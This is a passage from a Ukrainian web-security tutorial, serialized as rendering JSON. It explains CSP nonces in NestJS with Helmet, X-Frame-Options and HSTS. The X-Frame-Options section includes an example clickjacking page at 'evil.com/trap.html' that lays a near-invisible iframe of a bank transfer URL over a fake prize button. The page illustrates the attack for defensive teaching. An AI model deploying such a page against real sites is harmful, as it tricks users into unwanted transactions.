",[5325,6636,6637],{},"styleSrc"," (для CSS-in-JS бібліотек) або замініть на ",[5325,6640,6641],{},"nonce","\u002F",[5325,6644,6645],{},"hash"," базовані підходи.",[5232,6648,6650],{"id":6649},"csp-для-ssr-застосунків-nextjs-nuxt","CSP для SSR застосунків (Next.js, Nuxt)",[5089,6652,6653,6654,6657],{},"Server-Side Rendered застосунки генерують HTML на сервері та часто вставляють inline scripts для гідратації (",[5227,6655,6656],{},"hydration","):",[5412,6659,6661],{"className":5485,"code":6660,"language":5487,"meta":5417,"style":5417},"app.use(\n  helmet.contentSecurityPolicy({\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\n        \"'self'\",\n        \"'nonce-GENERATED_NONCE'\", \u002F\u002F Динамічний nonce для кожного запиту\n      ],\n      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n      connectSrc: [\"'self'\"],\n      frameAncestors: [\"'none'\"],\n    },\n  })\n);\n",[5325,6662,6663,6673,6683,6689,6700,6706,6712,6722,6726,6741,6761,6771,6781,6785,6789],{"__ignoreMap":5417},[5421,6664,6665,6667,6669,6671],{"class":5423,"line":5424},[5421,6666,6320],{"class":5509},[5421,6668,5601],{"class":5505},[5421,6670,5634],{"class":5427},[5421,6672,6327],{"class":5505},[5421,6674,6675,6677,6679,6681],{"class":5423,"line":5498},[5421,6676,6332],{"class":5509},[5421,6678,5601],{"class":5505},[5421,6680,6337],{"class":5427},[5421,6682,6340],{"class":5505},[5421,6684,6685,6687],{"class":5423,"line":5525},[5421,6686,6345],{"class":5509},[5421,6688,6348],{"class":5505},[5421,6690,6691,6693,6695,6697],{"class":5423,"line":5544},[5421,6692,6353],{"class":5509},[5421,6694,6356],{"class":5505},[5421,6696,6359],{"class":5430},[5421,6698,6699],{"class":5505},"],\n",[5421,6701,6702,6704],{"class":5423,"line":5560},[5421,6703,6370],{"class":5509},[5421,6705,6373],{"class":5505},[5421,6707,6708,6710],{"class":5423,"line":5567},[5421,6709,6378],{"class":5430},[5421,6711,6381],{"class":5505},[5421,6713,6714,6717,6719],{"class":5423,"line":5582},[5421,6715,6716],{"class":5430},"        \"'nonce-GENERATED_NONCE'\"",[5421,6718,6106],{"class":5505},[5421,6720,6721],{"class":5494},"\u002F\u002F Динамічний nonce для кожного запиту\n",[5421,6723,6724],{"class":5423,"line":5615},[5421,6725,6408],{"class":5505},[5421,6727,6728,6730,6732,6734,6736,6739],{"class":5423,"line":5620},[5421,6729,6413],{"class":5509},[5421,6731,6356],{"class":5505},[5421,6733,6359],{"class":5430},[5421,6735,6106],{"class":5505},[5421,6737,6738],{"class":5430},"\"'unsafe-inline'\"",[5421,6740,6699],{"class":5505},[5421,6742,6743,6745,6747,6749,6751,6754,6756,6759],{"class":5423,"line":5626},[5421,6744,6451],{"class":5509},[5421,6746,6356],{"class":5505},[5421,6748,6359],{"class":5430},[5421,6750,6106],{"class":5505},[5421,6752,6753],{"class":5430},"\"data:\"",[5421,6755,6106],{"class":5505},[5421,6757,6758],{"class":5430},"\"https:\"",[5421,6760,6699],{"class":5505},[5421,6762,6763,6765,6767,6769],{"class":5423,"line":5645},[5421,6764,6523],{"class":5509},[5421,6766,6356],{"class":5505},[5421,6768,6359],{"class":5430},[5421,6770,6699],{"class":5505},[5421,6772,6773,6775,6777,6779],{"class":5423,"line":5650},[5421,6774,6566],{"class":5509},[5421,6776,6356],{"class":5505},[5421,6778,6571],{"class":5430},[5421,6780,6699],{"class":5505},[5421,6782,6783],{"class":5423,"line":5671},[5421,6784,6610],{"class":5505},[5421,6786,6787],{"class":5423,"line":5677},[5421,6788,6616],{"class":5505},[5421,6790,6791],{"class":5423,"line":6424},[5421,6792,5612],{"class":5505},[5089,6794,6795],{},[5099,6796,6797],{},"Генерація nonce для кожного запиту:",[5412,6799,6801],{"className":5485,"code":6800,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmiddleware\u002Fcsp.middleware.ts\nimport { Injectable, NestMiddleware } from '@nestjs\u002Fcommon';\nimport { Request, Response, NextFunction } from 'express';\nimport crypto from 'crypto';\n\n@Injectable()\nexport class CspMiddleware implements NestMiddleware {\n  use(req: Request, res: Response, next: NextFunction) {\n    \u002F\u002F Генеруємо унікальний nonce для цього запиту\n    const nonce = crypto.randomBytes(16).toString('base64');\n    \n    \u002F\u002F Зберігаємо у res.locals для використання у шаблонах\n    res.locals.cspNonce = nonce;\n\n    \u002F\u002F Встановлюємо CSP header з цим nonce\n    res.setHeader(\n      'Content-Security-Policy',\n      `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'`\n    );\n\n    next();\n  }\n}\n",[5325,6802,6803,6808,6831,6859,6873,6877,6886,6906,6940,6945,6981,6986,6991,7012,7016,7021,7032,7039,7053,7058,7062,7069,7074],{"__ignoreMap":5417},[5421,6804,6805],{"class":5423,"line":5424},[5421,6806,6807],{"class":5494},"\u002F\u002F src\u002Fmiddleware\u002Fcsp.middleware.ts\n",[5421,6809,6810,6812,6814,6817,6819,6822,6824,6826,6829],{"class":5423,"line":5498},[5421,6811,5502],{"class":5501},[5421,6813,5506],{"class":5505},[5421,6815,6816],{"class":5509},"Injectable",[5421,6818,6106],{"class":5505},[5421,6820,6821],{"class":5509},"NestMiddleware",[5421,6823,5513],{"class":5505},[5421,6825,5516],{"class":5501},[5421,6827,6828],{"class":5430}," '@nestjs\u002Fcommon'",[5421,6830,5522],{"class":5505},[5421,6832,6833,6835,6837,6840,6842,6845,6847,6850,6852,6854,6857],{"class":5423,"line":5525},[5421,6834,5502],{"class":5501},[5421,6836,5506],{"class":5505},[5421,6838,6839],{"class":5509},"Request",[5421,6841,6106],{"class":5505},[5421,6843,6844],{"class":5509},"Response",[5421,6846,6106],{"class":5505},[5421,6848,6849],{"class":5509},"NextFunction",[5421,6851,5513],{"class":5505},[5421,6853,5516],{"class":5501},[5421,6855,6856],{"class":5430}," 'express'",[5421,6858,5522],{"class":5505},[5421,6860,6861,6863,6866,6868,6871],{"class":5423,"line":5544},[5421,6862,5502],{"class":5501},[5421,6864,6865],{"class":5509}," crypto",[5421,6867,5552],{"class":5501},[5421,6869,6870],{"class":5430}," 'crypto'",[5421,6872,5522],{"class":5505},[5421,6874,6875],{"class":5423,"line":5560},[5421,6876,5564],{"emptyLinePlaceholder":5563},[5421,6878,6879,6881,6883],{"class":5423,"line":5567},[5421,6880,5834],{"class":5505},[5421,6882,6816],{"class":5427},[5421,6884,6885],{"class":5505},"()\n",[5421,6887,6888,6891,6894,6898,6901,6904],{"class":5423,"line":5582},[5421,6889,6890],{"class":5501},"export",[5421,6892,6893],{"class":5434}," class",[5421,6895,6897],{"class":6896},"sN1BT"," CspMiddleware",[5421,6899,6900],{"class":5434}," implements",[5421,6902,6903],{"class":6896}," NestMiddleware",[5421,6905,6348],{"class":5505},[5421,6907,6908,6911,6913,6916,6918,6920,6922,6925,6927,6929,6931,6934,6936,6938],{"class":5423,"line":5615},[5421,6909,6910],{"class":5427},"  use",[5421,6912,5607],{"class":5505},[5421,6914,6915],{"class":5509},"req",[5421,6917,5870],{"class":5505},[5421,6919,6839],{"class":6896},[5421,6921,6106],{"class":5505},[5421,6923,6924],{"class":5509},"res",[5421,6926,5870],{"class":5505},[5421,6928,6844],{"class":6896},[5421,6930,6106],{"class":5505},[5421,6932,6933],{"class":5509},"next",[5421,6935,5870],{"class":5505},[5421,6937,6849],{"class":6896},[5421,6939,5876],{"class":5505},[5421,6941,6942],{"class":5423,"line":5620},[5421,6943,6944],{"class":5494},"    \u002F\u002F Генеруємо унікальний nonce для цього запиту\n",[5421,6946,6947,6950,6953,6955,6958,6960,6963,6965,6968,6971,6974,6976,6979],{"class":5423,"line":5626},[5421,6948,6949],{"class":5434},"    const",[5421,6951,6952],{"class":5588}," nonce",[5421,6954,5592],{"class":5505},[5421,6956,6957],{"class":5509},"crypto",[5421,6959,5601],{"class":5505},[5421,6961,6962],{"class":5427},"randomBytes",[5421,6964,5607],{"class":5505},[5421,6966,6967],{"class":5665},"16",[5421,6969,6970],{"class":5505},").",[5421,6972,6973],{"class":5427},"toString",[5421,6975,5607],{"class":5505},[5421,6977,6978],{"class":5430},"'base64'",[5421,6980,5612],{"class":5505},[5421,6982,6983],{"class":5423,"line":5645},[5421,6984,6985],{"class":5505},"    \n",[5421,6987,6988],{"class":5423,"line":5650},[5421,6989,6990],{"class":5494},"    \u002F\u002F Зберігаємо у res.locals для використання у шаблонах\n",[5421,6992,6993,6996,6998,7001,7003,7006,7008,7010],{"class":5423,"line":5671},[5421,6994,6995],{"class":5509},"    res",[5421,6997,5601],{"class":5505},[5421,6999,7000],{"class":5509},"locals",[5421,7002,5601],{"class":5505},[5421,7004,7005],{"class":5509},"cspNonce",[5421,7007,5592],{"class":5505},[5421,7009,6641],{"class":5509},[5421,7011,5522],{"class":5505},[5421,7013,7014],{"class":5423,"line":5677},[5421,7015,5564],{"emptyLinePlaceholder":5563},[5421,7017,7018],{"class":5423,"line":6424},[5421,7019,7020],{"class":5494},"    \u002F\u002F Встановлюємо CSP header з цим nonce\n",[5421,7022,7023,7025,7027,7030],{"class":5423,"line":6435},[5421,7024,6995],{"class":5509},[5421,7026,5601],{"class":5505},[5421,7028,7029],{"class":5427},"setHeader",[5421,7031,6327],{"class":5505},[5421,7033,7034,7037],{"class":5423,"line":6443},[5421,7035,7036],{"class":5430},"      'Content-Security-Policy'",[5421,7038,6381],{"class":5505},[5421,7040,7041,7044,7046,7048,7050],{"class":5423,"line":6448},[5421,7042,7043],{"class":5430},"      `default-src 'self'; script-src 'self' 'nonce-",[5421,7045,5892],{"class":5434},[5421,7047,6641],{"class":5509},[5421,7049,5897],{"class":5434},[5421,7051,7052],{"class":5430},"'; style-src 'self' 'unsafe-inline'`\n",[5421,7054,7055],{"class":5423,"line":6456},[5421,7056,7057],{"class":5505},"    );\n",[5421,7059,7060],{"class":5423,"line":6463},[5421,7061,5564],{"emptyLinePlaceholder":5563},[5421,7063,7064,7067],{"class":5423,"line":6475},[5421,7065,7066],{"class":5427},"    next",[5421,7068,5683],{"class":5505},[5421,7070,7071],{"class":5423,"line":6487},[5421,7072,7073],{"class":5505},"  }\n",[5421,7075,7076],{"class":5423,"line":6492},[5421,7077,5674],{"class":5505},[5089,7079,7080],{},[5099,7081,7082],{},"Використання nonce у HTML шаблоні:",[5412,7084,7088],{"className":7085,"code":7086,"language":7087,"meta":5417,"style":5417},"language-html shiki shiki-themes light-plus dark-plus dark-plus","\u003C!-- Браузер дозволить виконання лише scripts з правильним nonce -->\n\u003Cscript nonce=\"\u003C%= cspNonce %>\">\n  window.__INITIAL_STATE__ = { user: { id: 123 } };\n\u003C\u002Fscript>\n","html",[5325,7089,7090,7095,7118,7147],{"__ignoreMap":5417},[5421,7091,7092],{"class":5423,"line":5424},[5421,7093,7094],{"class":5494},"\u003C!-- Браузер дозволить виконання лише scripts з правильним nonce -->\n",[5421,7096,7097,7101,7104,7107,7111,7115],{"class":5423,"line":5498},[5421,7098,7100],{"class":7099},"s0P7L","\u003C",[5421,7102,7103],{"class":5952},"script",[5421,7105,6952],{"class":7106},"sa4r_",[5421,7108,7110],{"class":7109},"sD7JJ","=",[5421,7112,7114],{"class":7113},"su9tN","\"\u003C%= cspNonce %>\"",[5421,7116,7117],{"class":7099},">\n",[5421,7119,7120,7123,7125,7128,7131,7133,7136,7138,7141,7144],{"class":5423,"line":5525},[5421,7121,7122],{"class":5509},"  window",[5421,7124,5601],{"class":7109},[5421,7126,7127],{"class":5509},"__INITIAL_STATE__",[5421,7129,7130],{"class":5505}," =",[5421,7132,5506],{"class":7109},[5421,7134,7135],{"class":5509},"user:",[5421,7137,5506],{"class":7109},[5421,7139,7140],{"class":5509},"id:",[5421,7142,7143],{"class":5665}," 123",[5421,7145,7146],{"class":7109}," } };\n",[5421,7148,7149,7152,7154],{"class":5423,"line":5544},[5421,7150,7151],{"class":7099},"\u003C\u002F",[5421,7153,7103],{"class":5952},[5421,7155,7117],{"class":7099},[5149,7157],{},[5084,7159,7161],{"id":7160},"x-frame-options-захист-від-clickjacking","X-Frame-Options: Захист від Clickjacking",[5089,7163,7164,7166,7167,7169],{},[5099,7165,5334],{}," — це атака, при якій зловмисник вбудовує вашу сторінку у невидимий ",[5325,7168,6141],{}," поверх фальшивої сторінки. Користувач думає, що натискає на кнопку зловмисника, але насправді натискає на елементи вашої справжньої сторінки.",[5232,7171,7173],{"id":7172},"приклад-clickjacking-атаки","Приклад clickjacking атаки",[5089,7175,7176],{},[5099,7177,7178],{},"Зловмисник створює сторінку:",[5412,7180,7182],{"className":7085,"code":7181,"language":7087,"meta":5417,"style":5417},"\u003C!-- evil.com\u002Ftrap.html -->\n\u003Cstyle>\n  iframe {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    opacity: 0.01; \u002F* Майже невидимий *\u002F\n    z-index: 9999;\n  }\n\u003C\u002Fstyle>\n\n\u003Ch1>Виграй iPhone! Натисни тут 👇\u003C\u002Fh1>\n\u003Cbutton>Отримати приз\u003C\u002Fbutton>\n\n\u003C!-- Ваша справжня сторінка -->\n\u003Ciframe src=\"https:\u002F\u002Fbank.com\u002Ftransfer?to=attacker&amount=1000\">\u003C\u002Fiframe>\n",[5325,7183,7184,7189,7198,7206,7219,7231,7242,7254,7265,7280,7292,7296,7304,7308,7326,7344,7348,7353],{"__ignoreMap":5417},[5421,7185,7186],{"class":5423,"line":5424},[5421,7187,7188],{"class":5494},"\u003C!-- evil.com\u002Ftrap.html -->\n",[5421,7190,7191,7193,7196],{"class":5423,"line":5498},[5421,7192,7100],{"class":7099},[5421,7194,7195],{"class":5952},"style",[5421,7197,7117],{"class":7099},[5421,7199,7200,7204],{"class":5423,"line":5525},[5421,7201,7203],{"class":7202},"sqdDX","  iframe",[5421,7205,6348],{"class":7109},[5421,7207,7208,7211,7213,7217],{"class":5423,"line":5544},[5421,7209,7210],{"class":7106},"    position",[5421,7212,5870],{"class":7109},[5421,7214,7216],{"class":7215},"sDUd3","absolute",[5421,7218,5522],{"class":7109},[5421,7220,7221,7224,7226,7229],{"class":5423,"line":5560},[5421,7222,7223],{"class":7106},"    top",[5421,7225,5870],{"class":7109},[5421,7227,7228],{"class":5665},"0",[5421,7230,5522],{"class":7109},[5421,7232,7233,7236,7238,7240],{"class":5423,"line":5567},[5421,7234,7235],{"class":7106},"    left",[5421,7237,5870],{"class":7109},[5421,7239,7228],{"class":5665},[5421,7241,5522],{"class":7109},[5421,7243,7244,7247,7249,7252],{"class":5423,"line":5582},[5421,7245,7246],{"class":7106},"    width",[5421,7248,5870],{"class":7109},[5421,7250,7251],{"class":5665},"100%",[5421,7253,5522],{"class":7109},[5421,7255,7256,7259,7261,7263],{"class":5423,"line":5615},[5421,7257,7258],{"class":7106},"    height",[5421,7260,5870],{"class":7109},[5421,7262,7251],{"class":5665},[5421,7264,5522],{"class":7109},[5421,7266,7267,7270,7272,7275,7277],{"class":5423,"line":5620},[5421,7268,7269],{"class":7106},"    opacity",[5421,7271,5870],{"class":7109},[5421,7273,7274],{"class":5665},"0.01",[5421,7276,5903],{"class":7109},[5421,7278,7279],{"class":5494},"\u002F* Майже невидимий *\u002F\n",[5421,7281,7282,7285,7287,7290],{"class":5423,"line":5626},[5421,7283,7284],{"class":7106},"    z-index",[5421,7286,5870],{"class":7109},[5421,7288,7289],{"class":5665},"9999",[5421,7291,5522],{"class":7109},[5421,7293,7294],{"class":5423,"line":5645},[5421,7295,7073],{"class":7109},[5421,7297,7298,7300,7302],{"class":5423,"line":5650},[5421,7299,7151],{"class":7099},[5421,7301,7195],{"class":5952},[5421,7303,7117],{"class":7099},[5421,7305,7306],{"class":5423,"line":5671},[5421,7307,5564],{"emptyLinePlaceholder":5563},[5421,7309,7310,7312,7314,7317,7320,7322,7324],{"class":5423,"line":5677},[5421,7311,7100],{"class":7099},[5421,7313,5080],{"class":5952},[5421,7315,7316],{"class":7099},">",[5421,7318,7319],{"class":5505},"Виграй iPhone! Натисни тут 👇",[5421,7321,7151],{"class":7099},[5421,7323,5080],{"class":5952},[5421,7325,7117],{"class":7099},[5421,7327,7328,7330,7333,7335,7338,7340,7342],{"class":5423,"line":6424},[5421,7329,7100],{"class":7099},[5421,7331,7332],{"class":5952},"button",[5421,7334,7316],{"class":7099},[5421,7336,7337],{"class":5505},"Отримати приз",[5421,7339,7151],{"class":7099},[5421,7341,7332],{"class":5952},[5421,7343,7117],{"class":7099},[5421,7345,7346],{"class":5423,"line":6435},[5421,7347,5564],{"emptyLinePlaceholder":5563},[5421,7349,7350],{"class":5423,"line":6443},[5421,7351,7352],{"class":5494},"\u003C!-- Ваша справжня сторінка -->\n",[5421,7354,7355,7357,7360,7363,7365,7368,7371,7373],{"class":5423,"line":6448},[5421,7356,7100],{"class":7099},[5421,7358,7359],{"class":5952},"iframe",[5421,7361,7362],{"class":7106}," src",[5421,7364,7110],{"class":5505},[5421,7366,7367],{"class":7113},"\"https:\u002F\u002Fbank.com\u002Ftransfer?to=attacker&amount=1000\"",[5421,7369,7370],{"class":7099},">\u003C\u002F",[5421,7372,7359],{"class":5952},[5421,7374,7117],{"class":7099},[5089,7376,7377],{},"Користувач бачить кнопку \"Отримати приз\", але насправді натискає на невидиму кнопку \"Підтвердити переказ\" у iframe.",[5232,7379,7381],{"id":7380},"захист-через-x-frame-options","Захист через X-Frame-Options",[5412,7383,7385],{"className":5485,"code":7384,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    frameguard: {\n      action: 'deny', \u002F\u002F Повна заборона iframe\n    },\n  })\n);\n",[5325,7386,7387,7391,7401,7407,7414,7427,7431,7435],{"__ignoreMap":5417},[5421,7388,7389],{"class":5423,"line":5424},[5421,7390,5495],{"class":5494},[5421,7392,7393,7395,7397,7399],{"class":5423,"line":5498},[5421,7394,6320],{"class":5509},[5421,7396,5601],{"class":5505},[5421,7398,5634],{"class":5427},[5421,7400,6327],{"class":5505},[5421,7402,7403,7405],{"class":5423,"line":5525},[5421,7404,6332],{"class":5427},[5421,7406,6340],{"class":5505},[5421,7408,7409,7412],{"class":5423,"line":5544},[5421,7410,7411],{"class":5509},"    frameguard:",[5421,7413,6348],{"class":5505},[5421,7415,7416,7419,7422,7424],{"class":5423,"line":5560},[5421,7417,7418],{"class":5509},"      action:",[5421,7420,7421],{"class":5430}," 'deny'",[5421,7423,6106],{"class":5505},[5421,7425,7426],{"class":5494},"\u002F\u002F Повна заборона iframe\n",[5421,7428,7429],{"class":5423,"line":5567},[5421,7430,6610],{"class":5505},[5421,7432,7433],{"class":5423,"line":5582},[5421,7434,6616],{"class":5505},[5421,7436,7437],{"class":5423,"line":5615},[5421,7438,5612],{"class":5505},[5089,7440,7441],{},[5099,7442,7443],{},"Значення X-Frame-Options:",[5289,7445,7446,7454],{},[5292,7447,7448],{},[5295,7449,7450,7452],{},[5298,7451,6189],{},[5298,7453,6192],{},[5308,7455,7456,7466,7476],{},[5295,7457,7458,7463],{},[5313,7459,7460],{},[5325,7461,7462],{},"DENY",[5313,7464,7465],{},"Повна заборона вбудовування у будь-який iframe",[5295,7467,7468,7473],{},[5313,7469,7470],{},[5325,7471,7472],{},"SAMEORIGIN",[5313,7474,7475],{},"Дозволити лише iframe з того самого домену",[5295,7477,7478,7483],{},[5313,7479,7480],{},[5325,7481,7482],{},"ALLOW-FROM https:\u002F\u002Ftrusted.com",[5313,7484,7485],{},"Дозволити iframe лише з певного домену (застаріло, не підтримується у Chrome)",[5089,7487,7488],{},[5099,7489,7490],{},"Результат у HTTP заголовку:",[5412,7492,7494],{"className":5943,"code":7493,"language":5945,"meta":5417,"style":5417},"X-Frame-Options: DENY\n",[5325,7495,7496],{"__ignoreMap":5417},[5421,7497,7498,7500,7502],{"class":5423,"line":5424},[5421,7499,5113],{"class":5952},[5421,7501,5482],{"class":5434},[5421,7503,7504],{"class":5430}," DENY\n",[5270,7506,7507,7516],{},[5089,7508,7509,7512,7513,7515],{},[5099,7510,7511],{},"Сучасна альтернатива:"," CSP директива ",[5325,7514,6149],{}," замінює X-Frame-Options і підтримує кілька доменів:",[5412,7517,7519],{"className":5485,"code":7518,"language":5487,"meta":5417,"style":5417},"helmet.contentSecurityPolicy({\n  directives: {\n    frameAncestors: [\"'self'\", \"https:\u002F\u002Ftrusted.com\"],\n  },\n});\n",[5325,7520,7521,7531,7538,7554,7559],{"__ignoreMap":5417},[5421,7522,7523,7525,7527,7529],{"class":5423,"line":5424},[5421,7524,5639],{"class":5509},[5421,7526,5601],{"class":5505},[5421,7528,6337],{"class":5427},[5421,7530,6340],{"class":5505},[5421,7532,7533,7536],{"class":5423,"line":5498},[5421,7534,7535],{"class":5509},"  directives:",[5421,7537,6348],{"class":5505},[5421,7539,7540,7543,7545,7547,7549,7552],{"class":5423,"line":5525},[5421,7541,7542],{"class":5509},"    frameAncestors:",[5421,7544,6356],{"class":5505},[5421,7546,6359],{"class":5430},[5421,7548,6106],{"class":5505},[5421,7550,7551],{"class":5430},"\"https:\u002F\u002Ftrusted.com\"",[5421,7553,6699],{"class":5505},[5421,7555,7556],{"class":5423,"line":5544},[5421,7557,7558],{"class":5505},"  },\n",[5421,7560,7561],{"class":5423,"line":5560},[5421,7562,7563],{"class":5505},"});\n",[5232,7565,7567],{"id":7566},"коли-дозволяти-iframe","Коли дозволяти iframe?",[5089,7569,7570],{},[5099,7571,7572,7573,7575,7576,5482],{},"Сценарії, коли потрібен ",[5325,7574,7472],{}," або ",[5325,7577,6149],{},[5093,7579,7580,7587,7594],{},[5096,7581,7582,7583,7586],{},"Ваш сайт має ",[5099,7584,7585],{},"widget",", що вбудовується на інші сайти (наприклад, онлайн-чат, платіжна форма).",[5096,7588,7589,7590,7593],{},"Ви надаєте ",[5099,7591,7592],{},"OAuth\u002FOpenID Connect login форму",", що відкривається у popup\u002Fiframe.",[5096,7595,7596,7597,7600,7601,7604,7605,6970],{},"У вас ",[5099,7598,7599],{},"багатодоменна архітектура"," (наприклад, ",[5325,7602,7603],{},"admin.example.com"," вбудовує iframe з ",[5325,7606,7607],{},"app.example.com",[5089,7609,7610],{},[5099,7611,7612],{},"Приклад для OAuth popup:",[5412,7614,7616],{"className":5485,"code":7615,"language":5487,"meta":5417,"style":5417},"helmet.contentSecurityPolicy({\n  directives: {\n    frameAncestors: [\n      \"'self'\",\n      \"https:\u002F\u002Foauth.example.com\", \u002F\u002F Дозволити OAuth провайдеру\n    ],\n  },\n});\n",[5325,7617,7618,7628,7634,7640,7647,7657,7662,7666],{"__ignoreMap":5417},[5421,7619,7620,7622,7624,7626],{"class":5423,"line":5424},[5421,7621,5639],{"class":5509},[5421,7623,5601],{"class":5505},[5421,7625,6337],{"class":5427},[5421,7627,6340],{"class":5505},[5421,7629,7630,7632],{"class":5423,"line":5498},[5421,7631,7535],{"class":5509},[5421,7633,6348],{"class":5505},[5421,7635,7636,7638],{"class":5423,"line":5525},[5421,7637,7542],{"class":5509},[5421,7639,6373],{"class":5505},[5421,7641,7642,7645],{"class":5423,"line":5544},[5421,7643,7644],{"class":5430},"      \"'self'\"",[5421,7646,6381],{"class":5505},[5421,7648,7649,7652,7654],{"class":5423,"line":5560},[5421,7650,7651],{"class":5430},"      \"https:\u002F\u002Foauth.example.com\"",[5421,7653,6106],{"class":5505},[5421,7655,7656],{"class":5494},"\u002F\u002F Дозволити OAuth провайдеру\n",[5421,7658,7659],{"class":5423,"line":5567},[5421,7660,7661],{"class":5505},"    ],\n",[5421,7663,7664],{"class":5423,"line":5582},[5421,7665,7558],{"class":5505},[5421,7667,7668],{"class":5423,"line":5615},[5421,7669,7563],{"class":5505},[5149,7671],{},[5084,7673,7675],{"id":7674},"strict-transport-security-hsts-примусове-https","Strict-Transport-Security (HSTS): Примусове HTTPS",[5089,7677,7678,7681,7682,7685,7686,7689],{},[5099,7679,7680],{},"HTTP Strict Transport Security (HSTS)"," — це заголовок, що інструктує браузер ",[5099,7683,7684],{},"завжди"," використовувати HTTPS для вашого домену, навіть якщо користувач вводить ",[5325,7687,7688],{},"http:\u002F\u002F"," в адресному рядку.",[5232,7691,7693],{"id":7692},"проблема-downgrade-атаки","Проблема: Downgrade атаки",[5089,7695,7696,7697,7700],{},"Навіть якщо ваш сервер налаштований на автоматичне перенаправлення HTTP → HTTPS, ",[5099,7698,7699],{},"перший запит"," все одно йде через незахищений HTTP:",[5412,7702,7705],{"className":7703,"code":7704,"language":5921},[5919],"1. Користувач вводить: http:\u002F\u002Fbank.com\n2. Сервер відповідає: 301 Redirect → https:\u002F\u002Fbank.com\n3. Браузер відправляє запит на https:\u002F\u002Fbank.com\n",[5325,7706,7704],{"__ignoreMap":5417},[5089,7708,7709,7712],{},[5099,7710,7711],{},"Проблема на кроці 1-2:"," зловмисник у мережі (Man-in-the-Middle) може перехопити перший HTTP запит та підмінити відповідь сервера, перенаправивши користувача на фішинговий сайт або зберігши незашифрований трафік.",[5232,7714,7716],{"id":7715},"як-працює-hsts","Як працює HSTS?",[5089,7718,7719],{},"При першому HTTPS запиті сервер відправляє заголовок:",[5412,7721,7723],{"className":5943,"code":7722,"language":5945,"meta":5417,"style":5417},"Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n",[5325,7724,7725],{"__ignoreMap":5417},[5421,7726,7727,7729,7731],{"class":5423,"line":5424},[5421,7728,5740],{"class":5952},[5421,7730,5482],{"class":5434},[5421,7732,7733],{"class":5430}," max-age=31536000; includeSubDomains; preload\n",[5089,7735,7736],{},[5099,7737,7738],{},"Після цього браузер:",[5697,7740,7741,7757,7765],{},[5096,7742,7743,7752,7753,7756],{},[5099,7744,7745,7746,7748,7749],{},"Автоматично перетворює всі ",[5325,7747,7688],{}," посилання на ",[5325,7750,7751],{},"https:\u002F\u002F"," протягом ",[5325,7754,7755],{},"max-age"," секунд (1 рік у прикладі).",[5096,7758,7759,7762,7763,5601],{},[5099,7760,7761],{},"Блокує будь-які спроби доступу через HTTP"," — навіть якщо користувач вручну введе ",[5325,7764,7688],{},[5096,7766,7767,7770,7771,6970],{},[5099,7768,7769],{},"Застосовує політику до всіх піддоменів"," (якщо вказано ",[5325,7772,7773],{},"includeSubDomains",[5089,7775,7776,7778,7779,7782],{},[5099,7777,5984],{}," після першого візиту браузер ",[5099,7780,7781],{},"ніколи"," не відправить незашифрований запит до вашого домену.",[5232,7784,7786],{"id":7785},"конфігурація-hsts-у-helmet","Конфігурація HSTS у Helmet",[5412,7788,7790],{"className":5485,"code":7789,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\napp.use(\n  helmet({\n    hsts: {\n      maxAge: 31536000,        \u002F\u002F 1 рік (у секундах)\n      includeSubDomains: true, \u002F\u002F Застосувати до всіх піддоменів\n      preload: true,           \u002F\u002F Додати до HSTS Preload List\n    },\n  })\n);\n",[5325,7791,7792,7796,7806,7812,7819,7833,7846,7859,7863,7867],{"__ignoreMap":5417},[5421,7793,7794],{"class":5423,"line":5424},[5421,7795,5495],{"class":5494},[5421,7797,7798,7800,7802,7804],{"class":5423,"line":5498},[5421,7799,6320],{"class":5509},[5421,7801,5601],{"class":5505},[5421,7803,5634],{"class":5427},[5421,7805,6327],{"class":5505},[5421,7807,7808,7810],{"class":5423,"line":5525},[5421,7809,6332],{"class":5427},[5421,7811,6340],{"class":5505},[5421,7813,7814,7817],{"class":5423,"line":5544},[5421,7815,7816],{"class":5509},"    hsts:",[5421,7818,6348],{"class":5505},[5421,7820,7821,7824,7827,7830],{"class":5423,"line":5560},[5421,7822,7823],{"class":5509},"      maxAge:",[5421,7825,7826],{"class":5665}," 31536000",[5421,7828,7829],{"class":5505},",        ",[5421,7831,7832],{"class":5494},"\u002F\u002F 1 рік (у секундах)\n",[5421,7834,7835,7838,7841,7843],{"class":5423,"line":5567},[5421,7836,7837],{"class":5509},"      includeSubDomains:",[5421,7839,7840],{"class":5434}," true",[5421,7842,6106],{"class":5505},[5421,7844,7845],{"class":5494},"\u002F\u002F Застосувати до всіх піддоменів\n",[5421,7847,7848,7851,7853,7856],{"class":5423,"line":5582},[5421,7849,7850],{"class":5509},"      preload:",[5421,7852,7840],{"class":5434},[5421,7854,7855],{"class":5505},",           ",[5421,7857,7858],{"class":5494},"\u002F\u002F Додати до HSTS Preload List\n",[5421,7860,7861],{"class":5423,"line":5615},[5421,7862,6610],{"class":5505},[5421,7864,7865],{"class":5423,"line":5620},[5421,7866,6616],{"class":5505},[5421,7868,7869],{"class":5423,"line":5626},[5421,7870,5612],{"class":5505},[5089,7872,7873],{},[5099,7874,7875],{},"Параметри:",[5093,7877,7878,7886,7899],{},[5096,7879,7880,7885],{},[5099,7881,7882],{},[5325,7883,7884],{},"maxAge"," — час (у секундах), протягом якого браузер запам'ятає політику HSTS.",[5096,7887,7888,7892,7893,6106,7896,6970],{},[5099,7889,7890],{},[5325,7891,7773],{}," — застосувати HSTS до всіх піддоменів (наприклад, ",[5325,7894,7895],{},"api.example.com",[5325,7897,7898],{},"cdn.example.com",[5096,7900,7901,7906],{},[5099,7902,7903],{},[5325,7904,7905],{},"preload"," — дозволити включення домену до вбудованого списку HSTS у браузерах (HSTS Preload List).",[6623,7908,7909,7912,7913,7916,7917,7920],{},[5099,7910,7911],{},"Увага:"," HSTS можна увімкнути ",[5099,7914,7915],{},"лише на продакшені з валідним HTTPS сертифікатом","! Якщо ви увімкнете HSTS у локальній розробці через ",[5325,7918,7919],{},"http:\u002F\u002Flocalhost",", браузер заблокує доступ до сайту після першого візиту.",[5232,7922,7924],{"id":7923},"hsts-preload-list-захист-з-першого-візиту","HSTS Preload List: Захист з першого 